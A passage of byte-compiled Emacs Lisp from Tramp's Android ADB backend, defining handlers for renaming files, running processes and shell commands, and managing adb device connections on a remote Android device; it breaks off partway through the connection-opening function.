(defalias 'tramp-adb-handle-rename-file #[(filename newname &optional ok-if-already-exists) "\306!\306	!\307!\307	!\310\203\202	!\311\f!\312\f!@\313\f!A\314\f!6\315\f!B\f\316\317\320\321	#CCDEF\3221\344EGX\205\340\323 H\324\216I\203\216E\325X\203\216\326\327E\316U\203p\330\202\207E\331U\203{\330\202\207E\332U\203\206\333\202\207\334DPC#\210G\335Y\205\337\336F!\203\250\316G\337F\340\341#F)E\331U\203\311\316Gr\342F!q\210D\343PD\344C\345 C\"C*\346F!\205\337\326\347F\320\350E\"DPC$*0\202\350\210\202\351\210,\351I\205$\316G\325^X\205$\3521\"\353\354!\204	\355\354!\205\354\320\321	#!\211J\205\356\325\357\360J$)0\202$\210\341KL\361\216\203\261\n\203\261\362	\"\203\261\363!\204\261\364\365\366#\364\365	\366#MNO\204r\367	!\203r\f\370	\341CDPF\341IF\211F\203?F\371\343\372\373\374!!Q\375\216QQ\376 \210)rQq\210\345 +CCDEF\37716EGX\2052\323 H\201Z\216I\203\340E\325X\203\340\326\327E\316U\203\302\330\202\331E\331U\203\315\330\202\331E\332U\203\330\333\202\331\334DPC#\210G\335Y\2051\336F!\203\372\316G\337F\340\341#F)E\331U\203\316Gr\342F!q\210D\343PD\344C\345 C\"C*\346F!\2051\326\347F\320\350E\"DPC$*0\202:\210\202;\210,\202\215G\371Y\203\215RSr\372\201[!q\210p\201\\ \210SR\341\211TU\201]\211V\201]WX\201^ \210\201_\201`!\210+\211YQ\376 \210\201aY!\210+)F\203`F\331\201b\201cP\211\201dN\326\201eDC#E!CCDEF\201f1ZEGX\205V\323 H\201g\216I\203E\325X\203\326\327E\316U\203\346\330\202\375E\331U\203\361\330\202\375E\332U\203\374\333\202\375\334DPC#\210G\335Y\205U\336F!\203\316G\337F\340\341#F)E\331U\203?\316Gr\342F!q\210D\343PD\344C\345 C\"C*\346F!\205U\326\347F\320\350E\"DPC$*0\202^\210\202_\210,\201PP\326\201eDC#C\"\210-\201h\f\201iN!\"\210\201h\fN\"\210\201h\f\201iM!\"\210\201h\fM\"\210\201j\f\320\201kNM#\201l	%*\202\303\201m	O\201]\211%\210\201n!\201oL.\207" [filename newname t2 t1 v method expand-file-name tramp-tramp-file-p tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop 0 "%s..." format #1="Renaming %s to %s" (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message #2="" 1 2 #3="Warning: " #4="Tramp: " 4 processp tramp-get-connection-property #5="vector" nil tramp-get-connection-buffer #6="\n%s" append buffer-string vectorp tramp-debug-message #7="(%d) # " "failed" (error) subrp make-progress-reporter functionp run-at-time 0.1 tramp-progress-reporter-update #[nil "\203\306\307!\204\310\307!\203\307!\210	\311\312\313\314\n#\fD$%&\3151\300%'X\205\274\316 (\317\216)\203m%\320X\203m\321\322%\311U\203P\323\202g%\324U\203[\323\202g%\325U\203f\326\202g\327$P
#\210'\330Y\205\273\331&!\203\207\311'\332&\333\334#&)%\324U\203\246\311'r\335&!q\210$\336P$\337
\340 C\"*\341&!\205\273\321\342&\313\343%\"$P
$*0\202\302\210\334,\207" [tm v filename newname cookie arguments subrp cancel-timer functionp 0 "%s...%s" format #1# (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message #2# 1 2 #3# #4# 4 processp tramp-get-connection-property #5# nil tramp-get-connection-buffer #6# append buffer-string vectorp tramp-debug-message #7# fmt-string level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message] 7] tramp-equal-remote file-directory-p tramp-file-name-handler file-remote-p localname file-exists-p file-already-exists 10 get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace (error) user host hop arguments fmt-string level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message pr tm cookie l2 l1 ok-if-already-exists signal standard-output default-directory #8=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #9=#:buf #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "*debug tramp*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-flush-file-property file-name-directory tramp-adb-barf-unless-okay "mv %s %s" "Error renaming %s to %s" copy-file delete-file "done"] 11 (#$ . 58924)])
#@38 Like `process-file' for Tramp files.
(defalias 'tramp-adb-handle-process-file #[(program &optional infile destination display &rest args) "\247\203\306U\203\307\310!\210\311	!\312\n!\313\n!\314\n!\315\n!1\316\n!2\317\211\211\211\211\211\2113456789\320\321:;B\322#9<\204T\3238\202\234\324<!<\325	<\"\203\206\311<!\312\n!\313\n!\314\n!\315\n!1\316\n!21.8\202\234\326\n!8\327\f
8$7\330<7\331#\2108\203\252\332\33398#9\334!\203\2664\202O;\203\303\335!4\202O:\203H\334@!\203\326@4\202\355@;\203\345\335@!4\202\355@\203\355p4A@;\203<A\324A@!\240\210\325	A@\"\203+\311A@!\312\n!\313\n!\314\n!\315\n!1\316\n!21.6\202O\326\n!6\327\f
6$5\202OA@\204O\3236\202O\203Op46\203]\332\33696#9\3371\257\3401\240\341\n\332\342\3211!9#\"\203x\306\202y\34334\205\233r4q\210\344\345\n!!\210)=\205\233\3464\331\"\205\233\347 00\202\2720\210\350\345\n!!\210\351\2113\202\272\210\350\345\n!!\210\343\2113\2105\203\311\3525A@\331#\2107\203\323\3537!\210\354\355!\203\336\355J\203\343\356\n\357\"\2103\351\232\203\357\360 \202\3613.
\207" [destination default-directory v method user host 0 error "Implementation does not handle immediate return" tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop nil mapconcat tramp-shell-quote-argument " " "/dev/null" expand-file-name tramp-equal-remote tramp-make-tramp-temp-file tramp-make-tramp-file-name copy-file t format "%s <%s" bufferp get-buffer-create "%s 2>%s" (error) (quit) tramp-adb-send-command-and-check "(cd %s; %s)" 1 insert-buffer-substring tramp-get-connection-buffer get-buffer-window redisplay kill-buffer -1 rename-file delete-file boundp process-file-side-effects tramp-flush-directory-property "" keyboard-quit localname hop ret outbuf tmpstderr stderr tmpinput input command program args infile display] 7 (#$ . 63609)])
#@39 Like `shell-command' for Tramp files.
(defalias 'tramp-adb-handle-shell-command #[(command &optional output-buffer error-buffer) "\306\307\"\310\311\312	OE\313\314\f!\203\f\2029\f;\203$\315\f!\2029\f\203.\316p\2029\315	\2037\317\2028\320!\314
!\203D
\202L
;\205L\315
!	\204\204
\203\204\3213!4\3224!5\3234!6\3244!7\3254!8\3264!9\f\3274!.D\202\205\f:\330\f!\211;\203\310\331\332!\203\252\3331\242\334;!0\202\246\210\202\310\210\202\310;\335\313<=\336\337=\340\341!\203\301\341\202\302\342<\n%\210+\203\327\343 \210\344\313\316\"\210\202\342r\fq\210\313>\345 \210)\204\377	\250\203\377\336\346\347:\n$\350\f!\210\351?\352 \210\202^\336\353\n@\313:\313\nA&:<\203$r
q\210\354:A@!\210)\355:A@!\210\2036\356\316!\357 `p\223\210b\210\202^r\fq\210deV)\203^\360\361!\203Z\362\361!\204S\360\361!\203^\361\f!\210\202^\350\f!\210.\207" [command asynchronous args current-buffer-p output-buffer error-buffer string-match "[ 	]*&[ 	]*\\'" "sh" "-c" 0 nil bufferp get-buffer-create t "*Async Shell Command*" "*Shell Command Output*" tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop tramp-make-tramp-temp-file get-buffer-process yes-or-no-p "A command is running.  Kill it? " (error) kill-process "Shell command in progress" apply tramp-error fboundp user-error error barf-if-buffer-read-only push-mark erase-buffer start-file-process "*Async Shell*" pop-to-buffer (":%s") shell-mode process-file insert-file-contents delete-file mark mark-marker functionp display-message-or-buffer subrp default-directory v method user host localname hop buffer p format vec-or-proc buffer-read-only mode-line-process] 8 (#$ . 65597)])
#@44 Like `start-file-process' for Tramp files.
(defalias 'tramp-adb-handle-start-file-process #[(name buffer program &rest args) "\306!\307	!\310	!\311	!\312	!\313	!@A;\204	\314\315\316BC:D\316ED\211D\203D\317\320\321\322\323!!F\324\216FF\325 \210)rFq\210\326 +CBCGD\3271\373GHX\205\367\330 I\331\216E\203\245G\332X\203\245\333\334G\335U\203\207\336\202\236G\337U\203\222\336\202\236G\340U\203\235\341\202\236\342CPB#\210H\343Y\205\366\344D!\203\277\335H\345D\346\316#D)G\337U\203\340\335Hr\347D!q\210C\320PC\350B\326 C\"B*\351D!\205\366\333\352D\353\354G\"CPB$*0\202\377\210\202\210,\202@H\317Y\203@Jr\321\355!q\210p\356 \210J\316\211KL\357\211M\357NO\360 \210\361\362!\210+\211PF\325 \210\363P!\210+)D\203D\337\364\365:\211\366N\333\367CB#E!CBCGD\3701GHX\205\375\330 I\371\216E\203\253G\332X\203\253\333\334G\335U\203\215\336\202\244G\337U\203\230\336\202\244G\340U\203\243\341\202\244\342CPB#\210H\343Y\205\374\344D!\203\305\335H\345D\346\316#D)G\337U\203\346\335Hr\347D!q\210C\320PC\350B\326 C\"B*\351D!\205\374\333\352D\353\354G\"CPB$*0\202\210\202\210,\372:\333\367CB#C\"\210-\353\373\374
!\375\374AQB\376##A?\206,R\377S!\2059\201]S!T\335UVWRXS\204S\201^Y!S\201_V!\203oUTU\353\201`TU#V\202SVT\201a	\201bT#\210\201a	\201cS#\210r\347	!q\210\201d\216\212\214\357\316`ZKM\201e \210dd}\210\201f	!\210~\210Z`|\210dd}\210\201gX![\201h	X\"\210)\201i	!\\\201j1\353\201k\\\357\"\210\201l\\!`\316\2230\202\357\210\202\360\210\\.\207" [default-directory v method user host localname tramp-dissect-file-name tramp-file-name-method tramp-file-name-user tramp-file-name-host tramp-file-name-localname tramp-file-name-hop file-error "PROGRAM must be a string" nil 10 "\n%s" get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace buffer-string (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 "" 1 2 "Warning: " "Tramp: " 4 processp tramp-get-connection-property "vector" tramp-get-connection-buffer append vectorp tramp-debug-message format "(%d) # " "*debug tramp*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] signal "cd %s; %s" tramp-shell-quote-argument mapconcat " " buffer-live-p hop program arguments fmt-string vec-or-proc tramp-message-show-message standard-output level tramp-verbose save-match-data-internal #1=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf args tramp-process-connection-type buffer name i name1 bmp command tramp-temp-buffer-name mark tramp-adb-prompt p buffer-modified-p generate-new-buffer get-process "%s<%d>" tramp-set-connection-property "process-name" "process-buffer" #[nil "\303\304 \"\203\"\3051\306\307	!\310\"\210\311p!0\202\210\202&\210\202&\312\n!\210\313	\314\310#\210\313	\315\310#\207" [tramp-temp-buffer-name v bmp string-match buffer-name (error) set-process-buffer tramp-get-connection-process nil kill-buffer set-buffer-modified-p tramp-set-connection-property "process-name" "process-buffer"] 4] clear-visited-file-modtime tramp-adb-maybe-open-connection regexp-quote tramp-adb-send-command tramp-get-connection-process (error) tramp-compat-set-process-query-on-exit-flag process-mark] 11 (#$ . 67373)])
#@180 Return full host name from VEC to be used in shell execution.
E.g. a host name "192.168.1.1#5555" returns "192.168.1.1:5555"
     a host name "R38273882DE" returns "R38273882DE".
(defalias 'tramp-adb-get-device #[(vec) "\306\307!\210\310\311!\312\313#\211\313=\203\220\314!\315!\316!\317\320\321\307!\"\322@\323
\235\2033\202\203\324\325@\f$
\235\203G\324\326\f#\202\203G\327U\203Z
G\330U\203Z
@\202\203A\203{G\327U\204{\331\332\322@\323##\204{\333\334!\210\202\203\335\336CBCDE\307FE\211E\203aE\337\340\341\342\343!!G\344\216GG\345 \210)rGq\210\346 +CBCHE\3471XHIX\205T\350 J\351\216F\203H\352X\203\353\354H\327U\203\344\355\202\373H\330U\203\357\355\202\373H\356U\203\372\357\202\373\360CPB#\210I\361Y\205S\362E!\203\327I\310E\363\307#E)H\330U\203=\327Ir\364E!q\210C\340PC\365B\346 C\"B*\366E!\205S\353\367E\324\370H\"CPB$*0\202\\\210\202]\210,\202\237I\337Y\203\237KLr\341\371!q\210p\372 \210LK\307\211MN\373\211O\373PQ\374 \210\375\376!\210+\211RG\345 \210\377R!\210+)E\203rE\330\201S\201TD\211\201UN\353\201VCB#E!CBCHE\201W1lHIX\205h\350 J\201X\216F\203H\352X\203\353\354H\327U\203\370\355\202H\330U\203\355\202H\356U\203\357\202\360CPB#\210I\361Y\205g\362E!\2030\327I\310E\363\307#E)H\330U\203Q\327Ir\364E!q\210C\340PC\365B\346 C\"B*\366E!\205g\353\367E\324\370H\"CPB$*0\202p\210\202q\210,\201DD\353\201VCB#C\"-#,\201Y\311!\312	#\210	)\207" [vec value method host port devices tramp-flush-connection-property nil tramp-get-connection-property tramp-get-connection-process "device" undef tramp-file-name-method tramp-file-name-host tramp-file-name-port mapcar cadr tramp-adb-parse-device-names tramp-compat-replace-regexp-in-string ":" format "%s%s%d" "%s:%d" 0 1 tramp-adb-execute-adb-command "connect" sleep-for 0.1 file-error "Could not find device %s" 10 "\n%s" get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace buffer-string (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message "" 2 "Warning: " "Tramp: " 4 processp "vector" tramp-get-connection-buffer append vectorp tramp-debug-message "(%d) # " "*debug tramp*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show tramp-prefix-port-format tramp-adb-connect-if-not-connected arguments fmt-string signal vec-or-proc tramp-message-show-message standard-output level tramp-verbose save-match-data-internal default-directory #1=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-set-connection-property] 14 (#$ . 71044)])
#@49 Returns nil on success error-output on failure.
(defalias 'tramp-adb-execute-adb-command #[(vec &rest args) "\306!G\307V\203	@\310\311D\235\204\312\313\314!D	\"\315\316!r\nq\210\317\216\320\321\322\323\322	&\307U?\2057\324 \325\326\324 C+,\3271\332+-X\205\326\330 .\331\216/\203\212+\332X\203\212\320\333+\307U\203n\334\202\205+\335U\203y\334\202\205+\336U\203\204\337\202\205\340
P\f#\210-\341Y\205\325\342,!\203\244\307-\343,\344\322#,)+\335U\203\301\307-r\345,!q\210
\346P\312\f\324 C\"*\347,!\205\325\320\350,\351\352+\"
P\f$*0\202\336\210\202\337\210.\207" [vec args #1=#:temp-buffer tramp-adb-program arguments fmt-string tramp-file-name-host 0 "connect" "disconnect" append "-s" tramp-adb-get-device generate-new-buffer " *temp*" #[nil "\301!\205	\302!\207" [#1# buffer-name kill-buffer] 2] apply tramp-call-process nil t buffer-string 6 "%s" (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 message "" 1 2 "Warning: " "Tramp: " 4 processp tramp-get-connection-property "vector" tramp-get-connection-buffer "\n%s" vectorp tramp-debug-message format "(%d) # " level vec-or-proc tramp-verbose save-match-data-internal tramp-message-show-message] 8 (#$ . 74018)])
#@88 Checks, whether the ash has a builtin "test" command.
This happens for Android >= 4.0.
(defalias 'tramp-adb-find-test-command #[(vec) "\302\303\304#\211\304=\203\305\306\"\307\303	#\210	)\207" [vec value tramp-get-connection-property "test" undef tramp-adb-send-command-and-check "type test" tramp-set-connection-property] 5 (#$ . 75301)])
#@37 Send the COMMAND to connection VEC.
(defalias 'tramp-adb-send-command #[(vec command) "\306!\210\307\310	C\3111\227\f+X\205\223\312 ,\313\216-\203O\f\314X\203O\315\316\f\317U\2035\320\202J\f\321U\203?\320\202J\f\322U\203I\323\202J\324P\n#\210+\325Y\205\222\326
!\203f\317+\327
\330\331#)\f\321U\203\201\317+r\332
!q\210\333P\334\n\335 C\"*\336
!\205\222\315\337
\340\341\f\"P\n$*0\202\233\210\202\234\210,\342	\"\210\343\344!!\210r\332!q\210\212eb\210\345\346	!!\210eb\210\347\350\331\351#\205\314\352\320\331\211#\210\202\273*\207" [vec command arguments fmt-string level vec-or-proc tramp-adb-maybe-open-connection 6 "%s" (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 "" 1 2 "Warning: " "Tramp: " 4 processp tramp-get-connection-property "vector" nil tramp-get-connection-buffer "\n%s" append buffer-string vectorp tramp-debug-message format "(%d) # " tramp-send-string tramp-adb-wait-for-output tramp-get-connection-process delete-matching-lines regexp-quote re-search-forward "
+$" t replace-match tramp-verbose save-match-data-internal tramp-message-show-message] 6 (#$ . 75654)])
#@216 Run COMMAND and check its exit status.
Sends `echo $?' along with the COMMAND for checking the exit
status.  If COMMAND is nil, just sends `echo $?'.  Returns nil if
the exit status is not equal 0, and t otherwise.
(defalias 'tramp-adb-send-command-and-check #[(vec command) "\306	\203
\307\310	\"\202\311\"\210r\312!q\210db\210\313\314\315\316#\204\351\317\320	C\315;
\211\203\357
\321\322\323\324\325!!<\326\216<<\327 \210)r<q\210\330 +C=\3311\346=>X\205\342\332 ?\333\216;\203\234=\334X\203\234\335\336=\337U\203\200\340\202\227=\341U\203\213\340\202\227=\342U\203\226\343\202\227\344P\n#\210>\345Y\205\341\346
!\203\263\337>\347
\350\315#)=\341U\203\317\337>r\312
!q\210\322P\351\n\330 C\"*\352
!\205\341\335\353
\307\354=\"P\n$*0\202\352\210\202\353\210,\202->\321Y\203-@Ar\323\355!q\210p\356 \210A@\315\211BC\316\211D\316EF\357 \210\360\361!\210+\211G<\327 \210\362G!\210+)
\203\336
\341\363\364\f\211\365N\335\366\n#E!C=\3671\330=>X\205\324\332 ?\370\216;\203\216=\334X\203\216\335\336=\337U\203r\340\202\211=\341U\203}\340\202\211=\342U\203\210\343\202\211\344P\n#\210>\345Y\205\323\346
!\203\245\337>\347
\350\315#)=\341U\203\301\337>r\312
!q\210\322P\351\n\330 C\"*\352
!\205\323\335\353
\307\354=\"P\n$*0\202\334\210\202\335\210,\304\f\335\366\n#C\"\210-\371\315w\210\372p!\337U\315B\337\224d|\210*\207" [vec command arguments fmt-string signal vec-or-proc tramp-adb-send-command format "%s; echo tramp_exit_status $?" "echo tramp_exit_status $?" tramp-get-connection-buffer re-search-backward "tramp_exit_status [0-9]+" nil t file-error "Couldn't find exit status of `%s'" 10 "\n%s" get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace buffer-string (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 "" 1 2 "Warning: " "Tramp: " 4 processp tramp-get-connection-property "vector" append vectorp tramp-debug-message "(%d) # " "*debug tramp*" kill-all-local-variables erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "^ " read tramp-message-show-message standard-output level tramp-verbose save-match-data-internal default-directory #1=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf] 11 (#$ . 76856)])
#@106 Run COMMAND, check exit status, throw error if exit status not okay.
FMT and ARGS are passed to `error'.
(defalias 'tramp-adb-barf-unless-okay #[(vec command fmt &rest args) "\304	\"?\205\305\306\307\n%\207" [vec command fmt args tramp-adb-send-command-and-check apply tramp-error file-error] 6 (#$ . 79466)])
#@38 Wait for output from remote command.
(defalias 'tramp-adb-wait-for-output #[(proc &optional timeout) "\306\307!!\204\321\310!\210\311\312C\313\f\211\203\330\f\314\315\316\317\320!!@\321\216@@\322 \210)r@q\210\323 +CA\3241\317ABX\205\313\325 C\326\216
\203\205A\327X\203\205\330\331A\332U\203i\333\202\200A\334U\203t\333\202\200A\335U\203\336\202\200\337\nP	#\210B\340Y\205\312\341\f!\203\234\332B\342\f\343\313#)A\334U\203\270\332Br\344\f!q\210\n\315P\345	\323 C\"*\346\f!\205\312\330\347\f\350\351A\"\nP	$*0\202\323\210\202\324\210,\202B\314Y\203DEr\316\352!q\210p\353 \210ED\313\211FG\354\211H\354IJ\355 \210\356\357!\210+\211K@\322 \210\360K!\210+)\f\203\306\f\334\361\362\211\363N\330\364\n	#E!CA\3651\300ABX\205\274\325 C\366\216
\203vA\327X\203v\330\331A\332U\203Z\333\202qA\334U\203e\333\202qA\335U\203p\336\202q\337\nP	#\210B\340Y\205\273\341\f!\203\215\332B\342\f\343\313#)A\334U\203\251\332Br\344\f!q\210\n\315P\345	\323 C\"*\346\f!\205\273\330\347\f\350\351A\"\nP	$*0\202\304\210\202\305\210,\303\330\364\n	#C\"\210-r\307!q\210\367LM#\203\313Feb\210\370\371\372 \354#\203\367\334y\210e`|\210eb\210\370M\372 \354#\203\334y\210e`|\210db\210\373M\313\354#\210`d|)\202\300L\203\357\311\374MLD\313\f\211\203\360\f\314\315\316\317\320!!@\375\216@@\322 \210)r@q\210\323 +CA\3761\347ABX\205\343\325 C\377\216
\203\235A\327X\203\235\330\331A\332U\203\201\333\202\230A\334U\203\214\333\202\230A\335U\203\227\336\202\230\337\nP	#\210B\340Y\205\342\341\f!\203\264\332B\342\f\343\313#)A\334U\203\320\332Br\344\f!q\210\n\315P\345	\323 C\"*\346\f!\205\342\330\347\f\350\351A\"\nP	$*0\202\353\210\202\354\210,\202.B\314Y\203.DEr\316\352!q\210p\353 \210ED\313\211FG\354\211H\354IJ\355 \210\356\357!\210+\211K@\322 \210\360K!\210+)\f\203\342\f\334\361\362\211\363N\330\364\n	#E!CA\201N1\334ABX\205\330\325 C\201O\216
\203\222A\327X\203\222\330\331A\332U\203v\333\202\215A\334U\203\201\333\202\215A\335U\203\214\336\202\215\337\nP	#\210B\340Y\205\327\341\f!\203\251\332B\342\f\343\313#)A\334U\203\305\332Br\344\f!q\210\n\315P\345	\323 C\"*\346\f!\205\327\330\347\f\350\351A\"\nP	$*0\202\340\210\202\341\210,\303\330\364\n	#C\"-\202\300\311\201PMC\313\f\211\203\304\f\314\315\316\317\320!!@\201Q\216@@\322 \210)r@q\210\323 +CA\201R1\273ABX\205\267\325 C\201S\216
\203qA\327X\203q\330\331A\332U\203U\333\202lA\334U\203`\333\202lA\335U\203k\336\202l\337\nP	#\210B\340Y\205\266\341\f!\203\210\332B\342\f\343\313#)A\334U\203\244\332Br\344\f!q\210\n\315P\345	\323 C\"*\346\f!\205\266\330\347\f\350\351A\"\nP	$*0\202\277\210\202\300\210,\202B\314Y\203DEr\316\352!q\210p\353 \210ED\313\211FG\354\211H\354IJ\355 \210\356\357!\210+\211K@\322 \210\360K!\210+)\f\203\266\f\334\361\362\211\363N\330\364\n	#E!CA\201T1\260ABX\205\254\325 C\201U\216
\203fA\327X\203f\330\331A\332U\203J\333\202aA\334U\203U\333\202aA\335U\203`\336\202a\337\nP	#\210B\340Y\205\253\341\f!\203}\332B\342\f\343\313#)A\334U\203\231\332Br\344\f!q\210\n\315P\345	\323 C\"*\346\f!\205\253\330\347\f\350\351A\"\nP	$*0\202\264\210\202\265\210,\303\330\364\n	#C\"-)\207" [proc arguments fmt-string signal vec-or-proc tramp-message-show-message buffer-live-p process-buffer delete-process file-error "Process `%s' not available, try again" nil 10 "\n%s" get-buffer-create generate-new-buffer-name " *string-output*" #[nil "\301!\207" [standard-output kill-buffer] 2] backtrace buffer-string (error) match-data #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] 3 apply message 0 "" 1 2 "Warning: " "Tramp: " 4 processp tramp-get-connection-property "vector" tramp-get-connection-buffer append vectorp tramp-debug-message format "(%d) # " "*debug tramp*" kill-all-local-variables t erase-buffer run-hooks temp-buffer-setup-hook internal-temp-output-buffer-show "%s" error-message-string error-message format-message (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] tramp-wait-for-regexp re-search-forward "<+" point-at-eol re-search-backward "[[Remote adb prompt `%s' not found in %d secs]]" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] standard-output level tramp-verbose save-match-data-internal default-directory #1=#:old-dir buffer-read-only buffer-file-name buffer-undo-list inhibit-modification-hooks inhibit-read-only #2=#:buf timeout tramp-adb-prompt (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] "[[Remote prompt `%s' not found]]" #[nil "\301!\207" [standard-output kill-buffer] 2] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3] (error) #[nil "\301\302\"\207" [save-match-data-internal set-match-data evaporate] 3]] 11 (#$ . 79787)])
#@163 Maybe open a connection VEC.
Does not do anything if a connection is already open, but re-opens the
connection if a previous connection has died for some reason.
(defalias 'tramp-adb-maybe-open-connection #[(vec) "\306!\210\307!\310	!\311!\312!\313!\314!@\312!A\311!B\f\203-\315\316\317\320$\204-\321\322\fCCD<E\323FE\211E\203E\324\325\326\327\330!!G\331\216GG\332 \210)rGq\210\333 +CCDHE\3341HIX\205
\335 J\336\216F\203\273H\337X\203\273\340\341H\342U\203\235\316\202\264H\343U\203\250\316\202\264H\344U\203\263\345\202\264\346DPC#\210I\347Y\205\f\350E!\203\325\342I\351E\352\323#E)H\343U\203\366\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205\f\340\355E\356\357H\"DPC$*0\202\210\202\210,\202XI\324Y\203XKLr\326\360!q\210p\361 \210LK\323\211MN\320\211O\320PQ\362 \210\363\364!\210+\211RG\332 \210\365R!\210+)E\203E\343\366\367<\211\370N\340\371DC#E!CCDHE\3721HIX\205\335 J\373\216F\203\303H\337X\203\303\340\341H\342U\203\245\316\202\274H\343U\203\260\316\202\274H\344U\203\273\345\202\274\346DPC#\210I\347Y\205\350E!\203\335\342I\351E\352\323#E)H\343U\203\376\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205\340\355E\356\357H\"DPC$*0\202\210\202\210,\374<\340\371DC#C\"\210-\n\205<\350\n!\205<\375\n!\376>?\205\202
\335 J\377\216\n\203V\350\n!\203V\201_\n!\210
G\342U\203b\321\201`CCD<E\323FE\211E\203KE\324\325\326\327\330!!G\201a\216GG\332 \210)rGq\210\333 +CCDHE\201b1BHIX\205>\335 J\201c\216F\203\354H\337X\203\354\340\341H\342U\203\316\316\202\345H\343U\203\331\316\202\345H\344U\203\344\345\202\345\346DPC#\210I\347Y\205=\350E!\203\342I\351E\352\323#E)H\343U\203'\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205=\340\355E\356\357H\"DPC$*0\202F\210\202G\210,\202\211I\324Y\203\211KLr\326\360!q\210p\361 \210LK\323\211MN\320\211O\320PQ\362 \210\363\364!\210+\211RG\332 \210\365R!\210+)E\203TE\343\366\367<\211\370N\340\371DC#E!CCDHE\201d1NHIX\205J\335 J\201e\216F\203\370H\337X\203\370\340\341H\342U\203\332\316\202\361H\343U\203\345\316\202\361H\344U\203\360\345\202\361\346DPC#\210I\347Y\205I\350E!\203\342I\351E\352\323#E)H\343U\2033\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205I\340\355E\356\357H\"DPC$*0\202R\210\202S\210,\374<\340\371DC#C\"\210-\337\201f\201gCCDHE\201h1HIX\205\335 J\201i\216F\203\300H\337X\203\300\340\341H\342U\203\242\316\202\271H\343U\203\255\316\202\271H\344U\203\270\345\202\271\346DPC#\210I\347Y\205\350E!\203\332\342I\351E\352\323#E)H\343U\203\373\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\205\340\355E\356\357H\"DPC$*0\202\210\202\210,\201jF\205h\337I\337^X\205h\201k1f\201l\201m!\204G\201n\201m!\205N\201m\201g!\211S\205a\201o\337\201p\201qS$)0\202h\210\323TU\201r\216\201sVWXG\342V\203\213\201t
\201uE\202\217\201uCY\323Z\201v\201w!\203\255\201x\201w\201yN@!\206b\201z\201{!\203\322\201l\201{!\204\313\201n\201{!\205b\201{ \202b\201|\201}!\211[\205\345\201~[!)\203\367\201\201|\201}!!\202b\201|\201\200!\211[\205\n\201~[!)\203\201\201|\201\200!!\202b\201|\201\201!\211[\205/\201~[!)\203A\201\201|\201\201!!\202b\201\202\201\203!\203U\201\201\203!\202b\341\201\204!\210\201\201\205!)K\340\201\206\201\207!	\\Y%)\201\210\366\201\211\201\212\201\213\n!\201\214#CCDHE\201\21516HIX\2052\335 J\201\216\216F\203\340H\337X\203\340\340\341H\342U\203\302\316\202\331H\343U\203\315\316\202\331H\344U\203\330\345\202\331\346DPC#\210I\347Y\2051\350E!\203\372\342I\351E\352\323#E)H\343U\203\342Ir\307E!q\210D\325PD\353C\333 C\"C*\354E!\2051\340\355E\356\357H\"DPC$*0\202:\210\202;\210,\201\217\n\201\220\"\210\375\n!\201\221=\204S	\321\201\222\323CD<E\323FE\211E\203<E\324\325\326\327\330!!G\201\223\216GG\332 \210)rGq\210\333 +CCDHE\201\22413HIX\205/\335 J\201\225\216F\203\335H\337X\203\335\340\341H\342U\203\277\316\202\326H\343U\203\312\316\202\326H\344U\203\325\345\202\326\346DPC#\210I\347Y\205.\350E!\203\367\342I\351E\352\323#E)H\343U\203\342Ir\307E!q\210D\325PD\353C\333 